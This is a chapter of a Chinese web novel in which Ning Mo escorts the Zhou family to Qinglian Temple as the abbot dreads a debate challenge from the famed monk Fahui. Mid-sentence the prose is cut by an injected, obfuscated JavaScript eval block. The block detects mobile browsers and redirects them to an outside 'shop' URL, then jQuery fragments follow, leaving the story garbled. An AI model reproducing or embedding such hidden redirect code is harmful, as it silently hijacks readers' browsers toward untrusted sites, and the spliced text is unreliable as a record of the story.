“大小姐?”
宁默疑惑,“你不是……”
“我想了想……”
周清澜打断他,语气平静无波,道:“为父亲祈福,我理应亲自前往。况且……”
她顿了顿,目光似有深意地掠过宁默,“有些问题,或许在路上问问你,更方便。”
宁默心中一动。
她果然是对册子里的一些细节有疑问,想在路上与自己探讨。
“也好!”
宁默微笑应下,没有多问。
周清澜不再多说,对两位夫人点头示意,便径直走向那顶为她和宁默准备的轿子。
宁默与周彪交换了一个眼神,也各自登轿,和翻身上马。
一行人浩浩荡荡,离开周府,向城门方向而去。
……
马蹄声与车轮声碾过青石板路,引得沿途百姓纷纷侧目。
刚到城门附近,便见李慕白、赵文轩、钱益谦、孙皓月四人,早已骑着马等在那里。
见到周家的车队,几人立刻策马迎了上来。
“宁兄!周大小姐!”
李慕白当先拱手,笑容爽朗道:“我等恭候多时了!”
宁默掀开轿帘,笑着还礼:“有劳诸位久候。”
然而。
当李慕白几人的目光落在后面两顶夫人轿子,以及从轿中微微掀帘示意的沈月茹和柳含烟时,皆是一愣。
随即,几人互相对视一眼,脸上不约而同地浮现出几分古怪之色。
他们脸上带着促狭的笑意,看向宁默的眼神也变得意味深长起来。
那眼神像是在说……宁兄,可以啊!出门上个香,两位美艳夫人都陪着?不愧是周家姑爷,艳福不浅!
宁默哪里不知道这些家伙什么想法?
文化人,真流氓!
但自己是个正经人,当即低声道:“诸位慎言!两位夫人是去为周老爷祈福,乃是一片孝心。”
“宁某对夫人唯有尊敬,绝无他意,此话若传出去,恐惹夫人与大小姐误会,坏了清誉。”
他这话说得严肃,李慕白几人见他说的有模有样的,连忙收敛了戏谑之色,正色拱手:“宁兄说的是,是我等失言了。”
赵文轩打圆场道:“既然如此,咱们便出发吧?天色不早了。”
“好,出发!”
宁默点头。
车队再次启动,汇合了李慕白四人,出了城门,向着城外的青莲寺方向,蜿蜒行去。
……
与此同时,青莲寺。
晨钟暮鼓、香火袅袅。
大雄宝殿内,檀香依旧,端坐于蒲团之上的澄观方丈,慈眉善目,并时不时给香客解惑。
这时,一名知客僧匆匆入内,神色慌张道:“方丈,山门外来了几位僧人,为首者自称‘法慧’,来自江北金光寺,说是……说是为‘百布袈裟’而来,要与我寺论佛!”
澄观方丈闻言,捻着佛珠的手猛地一顿,脸色瞬间变得极为难看。
“百布袈裟……”
他低声喃喃,声音中带着一丝苦涩。
殿内几位长老,执事闻言,也是面色大变。
“百布袈裟”乃是佛门一项古老而特殊的传统。
若有高僧立志前往京城佛门总坛进修或任职,需行“百寺论道”之礼。
通俗点来说,就是云游四方,寻访一百座寺庙,与寺中高僧论辩佛理。
每胜一寺,便可从该寺方丈的袈裟上,剪下一块方布。
待集齐百块不同寺庙的袈裟布片,缝制成一件独一无二的“百布袈裟”,披之入京,便是其佛理精深、德行广受认可的无上荣耀。
总坛亦会高看一眼,予以重用。
然而,对于被“论”的寺庙而言,这却并非荣耀,而是考验,甚至是……耻辱。
一旦论佛失败,被剪去袈裟一角,便意味着该寺佛法不如人。
日后每年方丈前往总坛述职,身着那件缺了一角的袈裟,难免会被其他僧人侧目,私下议论,香客要是听说这事,更可能对寺庙的威信产生怀疑。
青莲寺在湘南虽有名望,但并非天下大寺,澄观方丈也没想到,自己的小寺庙竟会被这种人盯上。
“法慧……”
澄观方丈缓缓起身,语气沉重道:“可是那位三十岁便精通《金刚》、《法华》等十三部大经,以辩才无碍、佛理犀利著称,短短三年已集齐七十余寺袈裟布的‘辩才佛子’法慧?”
知客僧点头如捣蒜:“正是他!随行还有其三位师弟,皆气度不凡。”
澄观方丈深吸一口气,压下心中的震动与不安。
法慧之名,他早有耳闻。
此僧天赋极高,又兼勤奋刻苦。
更难得的是辩才犀利,往往能抓住对手言语中的漏洞,一击制胜。
被他“论”过的寺庙,下场都极为凄惨。
没想到,他竟然来到了湘南,还选中了青莲寺作为他“百布袈裟”上的一块拼图。
真不要脸!
但这话肯定是不能说出来的。
澄观方丈整了整袈裟,恢复了几分镇定,道:“来者是客,不可失礼。”
“请他们到客堂奉茶,老衲稍后便到。”
“是。”
知客僧领命而去。
澄观方丈对殿中几位长老苦笑一声:“看来,我青莲寺今日是有一场硬仗要打了。”
一位长老忧心忡忡:“方丈,法慧声名在外,辩才了得。我寺虽潜心修佛,但于机锋辩难,恐非其对手。若论佛失败……”
后半句他没说,但所有人都明白……青莲寺的声誉,怕是要受损了。
澄观方丈又何尝不知?
他沉吟片刻,道:“先见见再说。论佛之事,能推则推,能缓则缓。”
“或许可以打点一二……**我青莲寺乃清净修行之地,不堪论辩之扰,望其体谅,另寻他处?”
然而。
当澄观方丈在客堂见到过来论道的法慧时,便知道此事恐怕难以善了。
法慧看起来不过三十出头,面容清俊,脑袋光亮,眼神明亮锐利,带着一种自信到近乎逼人的光芒。
他身着朴素僧衣,但气度沉凝,往那里一站,便自然而然成为焦点。
随行的三位师弟也皆目光湛然,显然也不是庸碌之辈。
“阿弥陀佛。”
澄观方丈合十,道:“法慧大师远道而来,老衲有失远迎。”
法慧还礼,语气平淡道:“澄观方丈客气,贫僧此来,只为求佛问道,完善百布袈裟。”
“听闻青莲寺乃湘南名刹,佛法精深,特来请教,不知方丈何时方便,与贫僧论一论佛?”
澄观方丈心中苦笑,脸上却依旧温和:“大师求法之心,老衲感佩。”
“只是我青莲寺向来注重实修,于口舌机锋一道,颇为疏懒,而且寺中日常佛事、接待香客,事务繁杂,恐无力筹备论佛盛事。”
“大师佛理高深,何必与我这山野小寺一般见识?老衲愿奉上些许香火,略表敬意,大师可否……另寻大寺论道?”
他这话说得已经相当客气,甚至带着几分请求的意味。
然而。
法慧闻言,脸色却是陡然一沉,眼中锐光迸射!
“方丈此言何意?”
法慧声音陡然提高,带着明显的怒意,道:“贫僧跋涉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267427|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
千里,诚心求教,乃是为了印证佛法,砥砺修为,追求无上正觉!”
“方丈却以‘事务繁杂’推诿,甚至以香火财帛相诱,莫非是将贫僧当成那等沽名钓誉、贪图供养的俗僧了?!”
他猛地起身,气势逼人:“此乃对贫僧求佛之心的羞辱!亦是对我佛门‘百布袈裟’古礼的亵渎!”
澄观方丈脸色一变,连忙道:“大师息怒!老衲绝无此意,只是……”
“不必多言!”
法慧毫不客气地打断,语气斩钉截铁,道:“贫僧明日辰时,便在贵寺大雄宝殿之前,设坛开讲,论佛辩法!青莲寺接与不接,是你们的事!”
“但若避而不战,或再以财帛相污,就休怪贫僧将今日之事,传扬于佛门同道之间,评一评青莲寺的待客之道与修行本心!”
说罢,他竟不再给澄观方丈解释的机会,对三位师弟一挥手:“我们走!”
四人径直转身,大步离去。
留下澄观方丈与几位长老,面色难看地站在原地,一个个面面相觑。
“这……这可如何是好?”
一位长老急得跺脚,“这法慧,也太咄咄逼人了!”
“方丈,明日他若真在大殿前开讲,众目睽睽,香客云集,我们接也不是,不接也不是啊!”另一位长老也是忧心忡忡。
接,很可能论不过,袈裟被剪,声誉受损。
不接,或者再试图劝说,就会被扣上“避战”、“辱佛”的帽子,传扬出去,青莲寺同样颜面扫地。
澄观方丈闭上眼,捻动佛珠。
好半晌,才长长叹了口气,声音里充满了疲惫与无奈:
“看来,此劫难逃。一切……就看明日机缘吧。”
他心中苦涩,青莲寺虽有些底蕴,但于佛理辩难,确实非其所长。
面对法慧这等专精此道的“辩才佛子”,胜算渺茫。
难道,青莲寺传承多年的清誉,就要毁于一旦?
自己这件方丈袈裟,当真要缺上一角?
就在这满堂愁云惨淡之际。
先前那名知客僧又匆匆跑了进来,脸上这次却带着几分喜色:
“方丈!方丈!周府的两位夫人又来了,还有周家大小姐周清澜,以及李公子、赵公子等几位湘南才子,前来进香还愿,车驾已到山门前了!”
“周家大小姐?”
澄观方丈猛地睁开眼,黯淡的眸子里,骤然爆发出惊人的亮光!
“那周府的奴仆小宁子可在?”
澄观方丈现在还对小宁子的佛学悟性记忆犹新,之前还特意写信给周家大夫人,希望能够为小宁子赎身。
“好像在……”
知客僧也没看清楚,但来的奴仆不少,想来在里面。
“好,太好了!”
此刻听说小宁子在,澄观方丈激动不已,就仿佛在无尽的黑暗中,看到了一线曙光!
“佛子……不,是小宁子!小宁子来了!”
澄观方丈激动得声音都有些发颤,脸上愁容一扫而空,取而代之的是一种近乎狂喜的期待。
他猛地起身,对几位长老急声道:“快!快随老衲亲自出迎!我青莲寺的转机,或许就在这小宁子身上!”
“待会无论如何,也要让他脱离周家,剃度为僧!”
“快!”
说罢,澄观方丈再顾不得平日里的沉稳持重,撩起僧袍下摆,率先向山门方向快步走去。
步伐之快,让几位长老都险些跟不上。
一边走,心中一边激动地默念:“真是佛祖保佑!小宁子此时到来,定是佛祖垂怜,助我青莲寺渡过此劫的机缘!”
“定是如此!”